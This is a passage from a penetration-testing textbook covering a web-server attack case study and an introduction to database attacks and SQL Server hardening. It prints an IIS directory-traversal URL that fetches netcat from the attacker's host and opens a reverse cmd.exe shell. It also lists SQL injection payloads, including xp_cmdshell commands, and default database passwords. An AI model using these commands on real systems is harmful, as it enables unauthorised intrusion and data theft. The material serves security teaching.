detection and the –O to perform \nsome OS guessing. The command and output returned are as follows:\nC:\\>nmap -sT -O –p 1-100 -vv www.hackmynetwork.com\nStarting nmap 3.81 ( http://www.insecure.org/nmap ) at 2005-03-25 23:47 \nGMT Stan\ndard Time\nNote: Host seems down. If it is really up, but blocking our ping probes, \ntry -P0\nNmap finished: 1 IP address (0 hosts up) scanned in 2.244 seconds\nIP: 172.16.0.2\nHacker\nIP: 172.16.0.13\nX\nWeb Server (Web1)\nWindows 2000 IIS 5.0\nIP: 192.168.200.21\nX\nX\n80 Open\n" }, { "page_number": 266, "text": "Case Study\n239\n Raw packets sent: 4 (136B) | Rcvd: 0 (0B)\nC:\\>\nAs Jimmy reviews the results returned from NMap, he sees that it states the \nhost is down. Well, that is not actually true, so some kind of blocking device \nthat does not allow ICMP must be in place. He tries again with the –P0 switch \nto prevent pinging the target first and performs the scan whether the host is up \nor not. The output returned is as follows:\nC:\\>nmap -sT -O –p 1-100 -vv www.hackmynetwork.com -P0\nStarting nmap 3.81 ( http://www.insecure.org/nmap ) at 2005-03-25 23:47 \nGMT Stan\ndard Time\nInitiating Connect() Scan against www.hackmynetwork.com (172.16.0.2) \n[100 ports]\n at 23:47\nDiscovered open port 80/tcp on 172.16.0.2\nThe Connect() Scan took 22.15s to scan 100 total ports.\nFor OSScan assuming port 80 is open, 1 is closed, and neither are \nfirewalled\nInsufficient responses for TCP sequencing (0), OS detection may be less \naccurate\nFor OSScan assuming port 80 is open, 1 is closed, and neither are \nfirewalled\nInsufficient responses for TCP sequencing (0), OS detection may be less \naccurate\nFor OSScan assuming port 80 is open, 1 is closed, and neither are \nfirewalled\nInsufficient responses for TCP sequencing (0), OS detection may be less \naccurate\nHost www.hackmynetwork.com (172.16.0.2) appears to be up ... good.\nInteresting ports on www.hackmynetwork.com (172.16.0.2):\n(The 99 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n80/tcp open http\nToo many fingerprints match this host to give specific OS details\nTCP/IP fingerprint:\nSInfo(V=3.81%P=i686-pc-windows-windows%D=3/26%Tm=424523E5%O=80%C=1)\nT1(Resp=N)\nT2(Resp=N)\nT3(Resp=N)\nT4(Resp=N)\nT5(Resp=N)\nT6(Resp=N)\nT7(Resp=N)\nPU(Resp=N)\nNmap finished: 1 IP address (1 host up) scanned in 73.335 seconds\n Raw packets sent: 60 (3600B) | Rcvd: 0 (0B)\nC:\\>\n" }, { "page_number": 267, "text": "240\nChapter 7: Performing Web Server Attacks\nThat is better. From the NMap output, Jimmy finds that port 80 is the only \nport open in the range. He also notices that it failed to detect the operating \nsystem from the fingerprinting scan.\nStep 2\nSeeing that NMap had a little bit of trouble, Evil Jimmy deduces that a \nfirewall must be in place blocking the normal calling and operating \nsystem fingerprinting scan. So instead, he attempts a banner grab \ntechnique to help determine what kind of web server is behind the \nfirewall. Using a standard Telnet client to connect specifically to port 80, \nhe pushes an invalid HTTP GET request to retrieve the banner of the web \nservers. The syntax and returned result are as follows:\nC:\\>nc -vv www.hackmynetwork.com 80\nwww.hackmynetwork.com [172.16.0.2] 80 (http) open\nGET test\nHTTP/1.1 400 Bad Request\nServer: Microsoft-IIS/5.0\nDate: Fri, 25 Mar 2005 23:49:30 GMT\nContent-Type: text/html\nContent-Length: 87\nErrorThe parameter is \nincorrect. \nsent 9, rcvd 224: NOTSOCK\nC:\\>\nFrom the first two steps, Jimmy is pretty positive that http://\nwww.hackmynetwork.com is behind a firewall. With the banner \ninformation, he knows the web server is a Windows 2000 IIS 5.0 web \nserver. Now he starts to get excited. With all the possible vulnerabilities \nassociated with that version of web server, he has a plethora of tools he \ncan try. The time is 23:49 PM. \nStep 3\nJimmy knows that IIS 5.0 web servers were vulnerable to Directory \nTraversal attacks. It is worth a try to see if the server has not been \npatched. By using a web browser, Jimmy enters a directory traversal \nsyntax that should return a directory from the web server. The command \nused within the browser is as follows:\nhttp://www.hackmynetwork.com/scripts/..%255c../winnt/system32/\ncmd.exe?/c+dir+c:\\\nFigure 7-40 displays the output returned from the web server. \n" }, { "page_number": 268, "text": "Case Study\n241\nFigure 7-40 Directory Traversal Results\nJimmy almost falls out of his chair! This is going to be a great night! \nLooking over at the clock, he sees it is about 23:49 PM. He has three \nminutes left.\nNow that Jimmy has proven that he can execute the cmd.exe command \non the server, it is time to start uploading a backdoor for easier access and \navoid using the web server application all together. Jimmy has selected \nNetCat as his backdoor of choice. His goal is to shovel cmd.exe from the \nweb server to his attacking computer and provide himself a neat remote \ncmd.exe shell. \nStep 4\nEvil Jimmy starts up his personal TFTP server and points it to a directory \nthat contains all his great hacker tools—NetCat in this particular case. \nFigure 7-41 shows the Cisco free TFTP server on Evil Jimmy’s \ncomputer.\nFigure 7-41 Cisco TFTP Server\n" }, { "page_number": 269, "text": "242\nChapter 7: Performing Web Server Attacks\nStep 5\nJimmy sends the command to the web server asking it to get a copy of \nNetCat and save it to its own hard drive. Following is the syntax used to \naccomplish this:\nhttp://www.hackmynetwork.com/scripts/..%255c../winnt/system32/\ncmd.exe?/c+TFTP+-i+172.16.0.13+GET+nc.exe\nFigure 7-42 shows activity in the TFTP server on Jimmy’s computer \nproving that the file was actually copied. Also notice the CGI error \nmessage on the browser. This is normal because the web server does not \nreally know how to handle the return message, so it displays an error \nmessage. That is nothing to worry about, because the activity on the \nTFTP program does show that NetCat was downloaded.\nFigure 7-42 TFTP Server Activity\nStep 6\nNow Jimmy needs to start a listening port on his computer to capture the \nremote cmd.exe shell he is trying to shovel back. To do this, on his \npersonal computer, he uses NetCat to capture data on port 1010 as \nfollows. (The time is 23:51 PM.)\nC:\\>nc -vv -L -p 1010\nlistening on [any] 1010 ...\nStep 7\nJimmy is almost done, but he still needs to move the cmd.exe shell from \nthe web server across the Internet to port 1010 of his personal computer. \nTo do this, he sends another command via the web server telling cmd.exe \nto run NetCat and push a cmd.exe to Evil Jimmy’s computer. The \ncommand used in the web browser is as follows:\nhttp://www.hackmynetwork.com/scripts/..%255c../winnt/system32/\ncmd.exe?/c+nc+-e+cmd.exe+172.16.0.13+1010\n" }, { "page_number": 270, "text": "Case Study\n243\nStep 8\nBack on his computer, Jimmy glances over at his listening NetCat \nprogram to see a Windows command shell header appear. Just to make \nsure, he executes the hostname and ipconfig /all commands to find out \nthe name and IP address of the computer: \nC:\\>nc -vv -L -p 1010\nlistening on [any] 1010 ...\nMicrosoft Windows 2000 [Version 5.00.2195]\n Copyright 1985-1999 Microsoft Corp.\nc:\\inetpub\\scripts>hostname\nhostname\nWEB2\nc:\\inetpub\\scripts>ipconfig /all\nipconfig /all\nWindows 2000 IP Configuration\n Host Name . . . . . . . . . . . . : WEB2\n Primary DNS Suffix . . . . . . . :\n Node Type . . . . . . . . . . . . : Hybrid\n IP Routing Enabled. . . . . . . . : No\n WINS Proxy Enabled. . . . . . . . : No\nEthernet adapter Local Area Connection:\n Connection-specific DNS Suffix . :\n Description . . . . . . . . . . . : SiS 900-Based PCI Fast \nEthernet Adapter\n Physical Address. . . . . . . . . : 00-11-2F-0F-6E-DB\n DHCP Enabled. . . . . . . . . . . : No\n IP Address. . . . . . . . . . . . : 192.168.200.21\n Subnet Mask . . . . . . . . . . . : 255.255.255.0\n Default Gateway . . . . . . . . . : 192.168.200.254\n DNS Servers . . . . . . . . . . . :\nc:\\inetpub\\scripts>\nNow Jimmy can execute commands at will on the web server via this \ncommand shell window. He can copy files onto or off the web server as \nhe pleases. The time is 23:52 PM. He has made it!\nStep 9\nNow that Jimmy is in the network, he has some options:\n— Delete the IIS log files\n— Copy the SAM database\n— Copy any database that the server might contain\n— Get a list of all the files and folders on the server\n— Modify the website\n" }, { "page_number": 271, "text": "244\nChapter 7: Performing Web Server Attacks\nAs you can see, Evil Jimmy was able to hack into the server easily and return a command \nshell on the server. The moral of the story is that the Little Company Network should not \ntrust the firewall for protection. To give the PIX credit, it actually does protect everything \nbeing thrown at the server barring port 80, but the application behind that port remains \ninsecure, making the entire network vulnerable to attack. \nSummary\nYour web servers provide a window for the outside world to view a part of your network. \nIt is critical that you control just how much is visible.\nThis chapter provided an overview of these common web languages and examples of their \nusage: \n•\nGeneral Markup Language\n•\nC Programming\n•\nSGML\n•\nPerl\n•\nHTML\n•\nJava \n•\nCGI\n•\nColdFusion\n•\nPHP\n•\nJavaScript\n•\nXML\n•\nXHTML\nUnderstanding website architecture is necessary so that you learn how attacks on web \nservers take place. The most common types of attack are these:\n•\nAttacks against the web server\n•\nWeb-based authentication attacks\nSecuring your web server software is the first step in hardening web servers. This chapter \nlooked at the vulnerabilities of the most common applications:\n•\nApache HTTP Server vulnerabilities\n— Memory consumption DoS\n— SSL Infinite Loop\n— Basic Authentication Bypass\n— IPv6 URI Parsing Heap Overflow\n" }, { "page_number": 272, "text": "Summary 245\n•\nIIS Web Server vulnerabilities\n— Showcode.asp\n— Privilege execution\n— Buffer overflows\nIn addition to the vulnerabilities of the web server application, the potential hacker can \nemploy various methods to compromise a website and its host. These include the following:\n•\nWeb page spoofing\n•\nCookie guessing\n•\nHidden fields\n•\nBrute force attacks\n— Basic authentication\n— Form-based authentication\nProtecting against brute force attacks is not so easy. The use of account lockout policies and \nIP filtering is a possibility, but they can result in a self-inflicted DoS.\nTools that are dedicated to monitoring and attacking web resources are many and ever \nincreasing. This chapter covered the following tools:\n•\nNetCat\n•\nVulnerability scanners\n•\nIIS Xploit\n•\nExeciis-win32.exe\n•\nCleanIISLog\n•\nIntelliTamper\n•\nGoogle\nThe detection of web attacks, including brute forcing, directory traversal, and vulnerability \nscanning, begins with security Event Log monitoring. The addition of a Cisco IDS 4215 \nextends the functionality by recording greater detail of the event, providing an \nadministrator with a clearer picture of the attack that is being launched. \nFinally, protecting against web attacks falls into four main categories:\n•\nOperating system\n•\nWeb server application\n•\nWebsite design\n•\nNetwork architecture\nThe security of your web presence end to end, from the code on the page to the services \nrunning on your web server and the ports open on your firewall, is essential to ensure that \nyou do not become an easy target.\n" }, { "page_number": 273, "text": "As a general rule, the most successful man in life is the man who has the best information. \n—Benjamin Disraeli\n" }, { "page_number": 274, "text": "C H A P T E R 8\nPerforming Database Attacks\nPractically every successful company in existence uses a database. Having the ability to \nstore information about your business in some kind of logical order means that answering \na question like “How many laptops do we have in stock?” does not involve going out to the \nstore room and physically counting them or rummaging through a pile of delivery notes and \npurchase orders to get the answer.\nDatabases are everywhere. Every time you use a search engine, call Directory Assistance \nfor a phone number, or buy clothes in a department store, you are indirectly accessing and \nperhaps updating data held in a database.\nA database in its simplest terms is a container to hold data. It is physically structured into \none or more files, but to the user, the data is presented as tables containing rows and \ncolumns. (See Figure 8-1.) \nFigure 8-1\nLogical View of a Database Table \nTo retrieve data, a user or process uses a programming language called Structured Query \nLanguage (SQL), which can address the data by its rows and columns. For example:\nSELECT Manufacturer, Model, Memory FROM Laptops\nWHERE Price < 1000\n" }, { "page_number": 275, "text": "248\nChapter 8: Performing Database Attacks\nFrom the table in Figure 8-1, you can see that this query tries to return the data in the \nManufacturer, Model, and Memory columns from the Laptops table, which has a value in \nthe Price column of less than 1000. \nYou might expect the results to look something like this:\nManufacturer Model Memory\nAcer TravelMate 256\nDell Inspiron 512\nSony Vaio 512\nOften, a database is not queried directly by a user typing SQL statements, but by running \nan application that sends SQL queries to the database in response to a user action. If you \nwere to visit a website that sold laptops online, you might use a search facility to view \ndetails of the laptops you are interested in. In the Maximum Price field, you enter 1000 and \nclick Go, which tells the web application to submit a SQL statement to the database. \nNOTE\nThe current ANSI standard is SQL:2003. However, the National Institute of Standards and \nTechnology abandoned conformance testing in 1996. Since that time, the standard has \nbecome less effective.\nAlthough variations exist in the SQL syntax that different database engines support, these \nvariations comply loosely with an underlying standard: ANSI SQL-92. Table 8-1 lists some \ncommon and useful SQL commands.\nTable 8-1\nCommon SQL Commands\nCommand\nDescription\nALTER DATABASE\nAlters the properties of the database\nALTER TABLE\nAlters a database table by adding, removing, or changing columns\nCREATE TABLE\nCreates a new database table\nCREATE \nPROCEDURE\nCreates a new stored procedure\nCREATE SCHEMA\nCreates a schema within a database\nDELETE\nDeletes one or more rows of data from a table\nDROP DATABASE\nPermanently removes an entire database and all its contents from the \nserver\nDROP PROCEDURE\nDeletes a stored procedure\nDROP TABLE\nDeletes a database table\nINSERT\nAdds one or more rows to a database table\nSELECT\nSelects columns from one or more tables for viewing\nUPDATE\nChanges existing data in a database table \n" }, { "page_number": 276, "text": "Defining Databases\n249\nA database is fundamentally designed to make it easy for a user to retrieve the data he \nneeds. To be of use, a database must present some kind of “window to the world.” \nUnfortunately, this can also leave the database exposed to a hacker with time on his hands \nand a little SQL knowledge.\nDatabases are susceptible to attack for several reasons:\n•\nData theft—Probably the most obvious reason someone would attack a database \nwould be to get his hands on the data it contains. Credit card details are undoubtedly \nstored in a database table, and that data is of interest. However, database hacking also \nplays a part in industrial espionage. Other data, such as customer lists that can be \nhighly valuable to a competing business, is similarly at risk.\n•\nData manipulation—Besides stealing data to use or sell, changing the data that an \norganization holds is useful. Being able to boost your bank balance, clear off credit \ncard debt, or maybe give yourself a pay raise are just some of the things that would be \nfinancially beneficial to you. The commercial gains of damaging competitor data \ncould be huge. \n•\nDenial of service (DoS)—A database is often the foundation on which a business is \nbuilt. You can achieve DoS in several ways, including deleting or amending data, \nremoving user accounts, or shutting down a database server completely.\n•\nSystem-level exploitation—Databases can be a backdoor to other systems on a \nnetwork. Database systems such as SQL Server offer several routes for the would-be \nhacker not only to attack and compromise the database, but also to gain administrative \naccess to the server and ultimately to the whole network. \nDefining Databases\nThe types of databases that this chapter examines are all known as Relational Database \nManagement Systems (RDBMSs). In straightforward terms, this means that the data is \nstored in several different tables rather than a single flat file. Each table contains a particular \ntype of data. \nThese systems offer not just a data storage facility, but also tools to manage and manipulate \nthe data stored within. These are the tools of the trade to a database administrator (DBA) or \ndeveloper, but they are equally important in a hacker toolkit.\nFamiliarizing yourself with the bigger players in the database market is important. Having \nan understanding of the underlying database schema for a website or application can help \nto reveal its weaknesses more quickly. \n" }, { "page_number": 277, "text": "250\nChapter 8: Performing Database Attacks\nOracle\nGenerally referred to as an Oracle database, the Oracle RDBMS comprises a suite of \ndatabase management tools that sit on top of an underlying database structure. The first \nOracle database product was introduced in 1979 and is currently produced and marketed by \nthe Oracle Corporation. Oracle is supported on several platforms, including Solaris, Linux, \nand Windows. \nStructure\nData is stored logically in containers called tablespaces and held physically in data files. \nThese tablespaces can in turn be divided into segments—for example, data segments and \nindex segments—which enable different areas of storage to be utilized for specific \npurposes.\nTo keep track of data storage, Oracle uses a tablespace known as the system tablespace. \nThis contains, among other things, the data dictionary, which is a collection of tables \ncontaining information about all user objects in the database. Table 8-2 lists some of the \nuseful tables that it contains. \nSQL\nQuerying is possible using an Oracle flavor of SQL, which you can carry out using a \ncommand-line interface (CLI) or graphical user interface (GUI) variant of the Oracle \nSQL*Plus tool. In addition, a proprietary variant of SQL known as Procedural Language/\nStructured Query Language (PL/SQL) is used in application development.\nTable 8-2\nOracle System Tables\nName\nDescription\nSYS.ALL_TABLES\nTables you have permissions on regardless of ownership\nSYS.TAB\nViews and tables you own\nSYS.USER_CATALOG\nSimilar to SYS.TAB\nSYS.USER_CONSTRAINTS\nConstraints on actions that a user can apply to tables\nSYS.USER_OBJECTS\nAll of your objects (tables, views, and so on)\nSYS.USER_TAB_COLUMNS\nColumns in each table\nSYS.USER_TABLES\nTables you own\nSYS.USER_TRIGGERS\nTriggers you own. A trigger is a type of stored procedure that \nis executed in response to a change made to data stored in a \ntable\nSYS.USER_VIEWS\nViews you own\n" }, { "page_number": 278, "text": "Defining Databases\n251\nMySQL\nMySQL is owned and sponsored by MySQL AB and has been around for more than 10 \nyears. It is distributed either under the GNU General Public License or under commercial \nlicense. MySQL is supported on several platforms, including Solaris, Linux, and Windows.\nYou can query MySQL by using a broad subset of the ANSI SQL 99 syntax either from a \nCLI or from the MySQL Query Browser. MySQL is popular as the database component for \nweb applications and is often combined with Hypertext Preprocessor (PHP) to promote \napplication development.\nEarlier versions of MySQL failed to support many of the standard functions of a true \nRDBMS, including transaction support, although this has now been remedied. Version 5.0 \nsupports the implementation of stored procedures and views.\nStructure\nThe MySQL database structure, in common with other RDBMS systems, consists of \nlogical table structures contained within tablespaces, which are stored physically as data \nfiles. Each MySQL database is mapped to a directory under the MySQL data directory, and \nall tables within a database are mapped to filenames in the database directory. From a \nsecurity perspective, MySQL is vulnerable because it is relatively simple to read the data \nstored in these files. From version 5.0.2, you can retrieve metadata from MySQL by \nquerying a series of views known as the INFORMATION_SCHEMA. These views in turn \nare based on the data held in the MySQL database. Table 8-3 lists some of these views as \nan example.\nSQL\nMySQL supports a flexible standard when implementing SQL and includes a switch to \nselect ANSI mode when starting the MySQL server. Obviously, as MySQL has evolved \nconsiderably through its versions, so too has its ANSI compliance. Features such as triggers \nhave only basic support in version 5.0. No functionality for stored procedures existed prior \nto this version.\nTable 8-3\nINFORMATION_SCHEMA Views in MySQL\nName\nFunction\nSCHEMATA\nProvides information about the databases\nUSER_PRIVILEGES\nHolds information about global privileges\nTABLES\nHolds information about the tables contained in the databases\nTABLE_PRIVILEGES\nProvides information about user privileges at a table level\n" }, { "page_number": 279, "text": "252\nChapter 8: Performing Database Attacks\nYou can query MySQL in numerous ways, including these:\n•\nThe mysql command-line tool\n•\nMySQL Control Center (mysqlcc), the original platform-independent GUI tool\n•\nMySQL Query Browser, which is an updated version of mysqlcc\nSQL Server\nSQL Server is the Microsoft RDBMS offering and has been in existence since 1989. As a \nMicrosoft product, it is supported only on the Windows platform.\nStructure\nLogical data storage is represented by tables, while the data is physically held in one or \nmore data files. SQL Server uses four system databases, which are created at each \ninstallation and are essential for the database server to function. Table 8-4 lists these \ndatabases and details of their main function.\n*DTS = Data Transformation Services\nThe master database contains several system tables of interest. (See Table 8-5). Although \naccess to these tables is usually restricted, this is not always the case. \nTable 8-4\nSQL Server System Databases\nName\nFunction\nMaster\nHolds all system tables that contain system-level information. This includes all server \nlogins and a record of all databases on the server.\nModel\nUsed as a template database. Any new database created inherits the properties of the \nmodel by default.\nMsdb\nHolds all information for SQL Server Agent, including DTS* packages, jobs, and \nscheduling information.\nTempdb\nHolds any temporary objects created, such as temporary tables, and also provides \nspace for other temporary storage needs.\nTable 8-5\nSQL Server System Tables \nName\nDescription\nSysobjects\nContains a row of data for every object that exists in the database (exists in all \ndatabases)\nSysdatabases\nContains information about every database on the database server\n" }, { "page_number": 280, "text": "Testing Database Vulnerabilities 253\nSQL\nQuerying is via the SQL Server SQL variant known as Transact-SQL (T-SQL), which you \ncan run at the command line using the osql tool or via the Query Analyzer GUI that ships \nas part of the SQL Server package.\nDatabase Default Accounts\nEach database has one or more predefined accounts out of the box. Although some, and \nOracle in particular, have numerous default accounts depending on the applications \ninstalled, Table 8-6 shows the most common occurrences.\nTesting Database Vulnerabilities\nThis section peeks at some of the potential points of attack on a database system. It focuses \nspecifically on SQL Server, although most of the principles hold true for all RDBMSs.\nThe toolkit of the DBA is more often than not the core toolkit of a hacker, and the two \nstandard tools that ship with SQL Server are no exception. Query Analyzer, both the \nName\nDescription\nSysxlogins\nContains all logins configured on the server, including their server role and \nhashed passwords for SQL logins \nSysprocesses\nHolds information about both client and system processes that are currently \nrunning\nSysfiles\nLists the physical database files (exists in all databases)\nSyspermissions\nRecords permissions granted and denied to users (exists in all databases)\nSysusers\nUsers granted access at a database level (exists in all databases)\nSyscomments\nContains information about each view, rule, default, trigger, constraint, and \nstored procedure, including some or all of the T-SQL code used to generate it \n(exists in all databases)\nTable 8-6\nCommon Default Accounts\nDatabase\nUser\nPassword\nOracle\nSYS\nchange_on_install\nOracle\nSYSTEM\nManager\nMySQL\nRoot\nNull\nMicrosoft SQL Server\nSa\nNull\nTable 8-5\nSQL Server System Tables (Continued)\n" }, { "page_number": 281, "text": "254\nChapter 8: Performing Database Attacks\ngraphical version (see Figure 8-2) and the command-line tool osql (see Figure 8-3), \nprovides an invaluable interface to manipulate data on a compromised server. \nFigure 8-2\nSQL Server Query Analyzer\nFigure 8-3\nosql Command-Line Query Tool\n" }, { "page_number": 282, "text": "Testing Database Vulnerabilities 255\nEnterprise Manager is a Windows snap-in console (MMC is Microsoft Management \nConsole) that facilitates SQL Server Administration, as shown in Figure 8-4. By \nfamiliarizing yourself with this tool, you gain an insight into the typical way in which a \nSQL server is configured and with some of methods that a DBA might use to perform \nadministrative tasks. For example, you can easily view the various system objects using this \ntool. \nFigure 8-4\nSQL Server Enterprise Manager\nIn addition to these standard tools, many more are available. They are designed as analysis \ntools to detect SQL Servers and their vulnerabilities, as you will see later in this chapter. \nOne of the first steps before commencing an attack on a network is to enumerate the \npossible weaknesses in that network. Because database servers rank highly in that list, \nvarious tools are available to make the task simpler. These include SQLPing, \nSQLPing.NET, and SQLpoke. (See http://www.sqlsecurity.com under the Tools drop-down \nmenu.) These tools scan a specified range of IP addresses looking for an open UDP port \n" }, { "page_number": 283, "text": "256\nChapter 8: Performing Database Attacks\n1434. Two versions of SQLPing are currently available: the original command-line tool, \nand a graphical version known as SQLPing2. Figure 8-5 shows the interface for SQLPing2 \nwhen scanning an IP address range.\nFigure 8-5\nSQLPing2\nSQL Injection\nWeb applications frequently utilize a back-end database, providing the user with the ability \nto read or write data into the system. However, the lack of sophistication in a surprising \nnumber of web applications exposes a vulnerability to SQL injection. What is SQL \ninjection? Well, simply put, it is altering the SQL statements that the web application is \ntrying to send to the database. To understand the concept in more detail, you first need to \nunderstand a little SQL.\nEach time you visit a website that requires you to log in, the application doubtless sends a \nquery to a database to check out your credentials. It probably builds a SQL query string \nlooking something like this:\n“SELECT * from Users where UserName = '” + username + “' and password = '” + password \n+ “'”;\n" }, { "page_number": 284, "text": "Testing Database Vulnerabilities 257\nwhere username and password and the values entered on the web page by you, the user, are \npassed into the string as variables. If you were to log in as Bob with a password of 123, the \nactual query passed to the database would be as follows:\nSELECT * from Users where UserName = 'Bob' and password = '123' \nThe application expects the database to return a row of data corresponding to that user only \nif he exists. SQL, like other programming languages, uses characters to “comment out” \ncode. The -- (single line comment) is particularly useful, resulting in everything after it \nbeing ignored. If, instead of entering Bob as the username, you instead enter \nBob' or 1=1 --\nthe resulting SQL statement becomes this:\nSELECT * from Users where UserName = 'Bob' or 1=1 -– ' and password = '123' \nOf course, 1=1 is always true. Because only one-half of an OR statement must be true, the \nquery engine returns the entire contents of the Users table. Although this data will probably \nnot be displayed to the user, if the application checks only for the existence of a record in \nthe users table, you have successfully logged in.\nThe limitations of SQL injection do not end there. After you have established that an \napplication has this particular vulnerability, you have an open query window through which \nyou can do many things.\nSQL Server has the added value of a batching functionality whereby SQL statements can \nbe tagged together in a batch with each statement separated by a semicolon (;). This further \nenhances the effectiveness of SQL injection, allowing a straightforward SELECT statement \nlike the one in the preceding SQL statement, to offer much more potential to the hacker if \nhe should add further code such as this:\n; EXEC xp_cmdshell 'dir > c:\\dir.txt'\nThis statement takes the listing of the current directory and pipes it out to a text file. \nIt is worth noting that neither Oracle nor MySQL shares this feature.\nSystem Stored Procedures\nA stored procedure is one or more SQL statements that you can execute by calling the \nprocedure by name. Most RDBMS systems support their use. Often, several statements are \nencapsulated into a stored procedure to carry out a complete logical process. \nSQL Server uses various built-in procedures known as system stored procedures and \nextended stored procedures. These procedures are installed by default during a standard \ninstallation. Although many are essential for the database to function, some expose \npotentially dangerous functionality to an attacker. Table 8-7 lists a selection of extended \n" }, { "page_number": 285, "text": "258\nChapter 8: Performing Database Attacks\nstored procedures that could provide information or be used as a tool in compromising a \nSQL Server database.\nDSNs = data source names\nMany of the system stored procedures are highly useful as development aids, but all too \noften systems are put into production without first removing these extended stored \nprocedures. At one time, it was recommended that the most dangerous stored procedures \nbe dropped entirely from the system, but this can impact other elements of the database \nserver. Instead, you can mitigate the risk by ensuring that their permissions are tightly \ncontrolled.\nTable 8-7\nSQL Server Extended Stored Procedures Vulnerable to Malicious Use\nProcedure Name\nDescription\nPermission\nxp_cmdshell\nExecutes a command string as a command shell and \nreturns the output as text\nSysadmin\nxp_dirtree\nReturns an entire directory tree\nPublic\nxp_dsninfo\nReturns information on DSNs*\nSysadmin\nxp_enumgroups\nProvides a list of local or domain NT groups\nSysadmin\nxp_eventlog\nReturns the specified Windows event log\nSysadmin\nxp_getfiledetails\nReturns file information for a specified file\nPublic\nxp_getnetname\nReturns the NetBIOS name for the database server\nPublic\nxp_logevent\nLogs a user-defined message to both the SQL Server \nand Windows logs\nSysadmin\nxp_loginconfig\nReports the security configuration for logins\nSysadmin\nxp_logininfo\nReturns the account, type, and level of privilege for a \ngiven Windows user or group\nSysadmin\nxp_makecab\nAllows a user to create a compressed archive of files \nheld on the database server\nSysadmin\nxp_msver\nReturns the SQL Server version and various \nenvironment information\nPublic\nxp_ntsec_enumdom\nains\nReturns a list of the Windows domains to which the \nserver has access \nPublic\nxp_readerrorlog\nDisplays the SQL Server error log\nSysadmin\nxp_regdeletekey\nAllows a registry key to be deleted\nSysadmin\nxp_regwrite\nAllows a registry key to be updated\nSysadmin\nxp_servicecontrol\nAllows a user to stop or start a Windows service\nSysadmin\n" }, { "page_number": 286, "text": "Testing Database Vulnerabilities 259\nxp_cmdshell\nGranting execute permissions on xp_cmdshell to users enables the users to execute any \noperating system command at the command shell that the account running the SQL Server \nservice has the necessary privileges to execute. If the service account has permissions to \nstart and stop services so, too, does the hacker who can execute xp_cmdshell. What this \nboils down to is the real possibility that your website grinds to a halt with the following \nscenario. \nConsider the following SQL Injection input at a login screen:\nUsername: '; exec master..xp_cmdshell 'net stop “iis admin service” Y'; -- \nPassword: [Anything]\nSadly, for the hacker, a server with xp_cmdshell exposed in this way is a rare find indeed, \nbut SQL Injection can reveal other useful information using the helpful error messages that \nSQL Server returns. You can make particular use of one of its built-in functions, \n@@VERSION, to reveal some interesting information about your potential target in the \nfollowing way. Back at the login screen, enter the following:\n Username: ' and 1 = (SELECT @@VERSION)--\nThis command produces the following verbose-looking, but extremely informative error:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL \nServer Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL \nServer 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright © 1988-2000 \nMicrosoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: ) ' to a \ncolumn of data type int.\n/login.asp, line 32\nThe @@VERSION function returns similar information to that of the extended stored \nprocedure xp_msver (see Table 8-6), namely the date, version, and processor type for the \ncurrent SQL Server installation. You can ascertain from this that this server is in fact a \nWindows 2003 server, and the SQL Server version number shows that it is unpatched (and \nhence vulnerable).\nConnection Strings\nTo authenticate against a database via a web application, web developers often hard code a \nconnection string into a configuration file, such as web.config or global.asa. The string \nprobably looks something like this:\nTrusted connection:\n“Provider=SQLOLEDB;Data Source= MyDBServer;Initial Catalog=MyDB;Integrated \nSecurity=SSPI;”\nSQL Server Security:\n“Provider=SQLOLEDB;Data Source=MyDBServer;Initial Catalog=MyDB;User \nId=sa;Password=;” \nIn the case of the first few lines, this assumes that the SQL Server is configured to use \nWindows authentication. (See the section “Authentication” a little later in this chapter.) \n" }, { "page_number": 287, "text": "260\nChapter 8: Performing Database Attacks\nThis poses no risk because no username or password is revealed. However, the final lines \nshow that SQL Server security is being used, and the username and password can be read \ndirectly from the file (which in this case shows the “standard” sa user with blank password). \nPassword Cracking/Brute Force Attacks\nSQL Server stores usernames and passwords in its sysxlogins table in the master database. \nThe password is hashed using a stored procedure named pwdencrypt(). Unfortunately, SQL \nServer not only stores the resulting hash, but also an uppercase version, making brute force \nattacks simpler.\nNOTE\nFor more information on password hashes, see the whitepaper at \nhttp://www.ngssoftware.com/papers/cracking-sql-passwords.pdf. \nVarious tools are available to assist in brute forcing a SQL Server password, including the \nfollowing:\n•\nSQLBF—Password auditing tool that runs in bruteforce mode or in dictionary attack \nmode. Available from http://www.cqure.net.\n•\nSQLDict—Dictionary attack tool available from http://ntsecurity.nu.\nIn addition, the following stored procedures (based on an idea by David Litchfield at http:/\n/www.ngssoftware.com/) perform similar tasks:\n•\nFindSA—Brute force attack for finding the SA password. (See Figure 8-6.)\n•\nFindSADic—Dictionary attack for finding passwords.\nThese and other available tools generally run in either brute force mode, where every \npossible character combination is tested, or in dictionary attack mode. In dictionary attack \nmode, the tool requires a wordlist. You can find various sources for these tools at ftp://\nftp.ox.ac.uk/pub/wordlists.\n" }, { "page_number": 288, "text": "Securing Your SQL Server 261\nFigure 8-6\nFindSA Running in Query Analyzer\nSecuring Your SQL Server\nOut of the box, SQL Server provides a fantastic development environment. It boasts a \nwealth of features such as sample databases, full-featured stored procedures, and other \nsimple methods to create a system that has low administrative overhead.\nHowever, all too often these convenient development tools, if left in place on a production \nsystem, can provide a backdoor to your network. Therefore, it is important to implement a \nstandard for securing your SQL servers before they make it to production.\nAuthentication\nLike most RDBMSs, SQL Server has the capability to manage its own security and \nmaintains its users and their passwords internally in a table called sysxlogins.\nSQL Server supports two methods of authentication:\n•\nNative SQL Server authentication, known as Mixed Mode \n•\nWindows authentication\n" }, { "page_number": 289, "text": "262\nChapter 8: Performing Database Attacks\nYou can configure the authentication mode at installation. The default is Windows \nauthentication, but you can alter this at any time, as shown in Figure 8-7.\nFigure 8-7\nSQL Server Security Settings\nWindows authentication uses Windows integrated security to automatically authenticate the \nuser onto the database using the credentials with which he logged onto the domain. Mixed \nmode authentication, as its name suggests, allows a user to log in using either his Windows \ncredentials or SQL Server-based security. To use either method, a login must have been \nexplicitly created at the database server level. If the login is a SQL Server login, the \npassword is stored as a one-way hash in the sysxlogins table. \nUsing Windows authentication is inherently more secure, because Windows manages \npassword integrity such as minimum password length and account lockout after multiple \ninvalid login requests. As previously mentioned, a SQL Server login stores passwords as \nhashes in a SQL Server table. If the authentication mode is changed from Mixed Mode to \nWindows 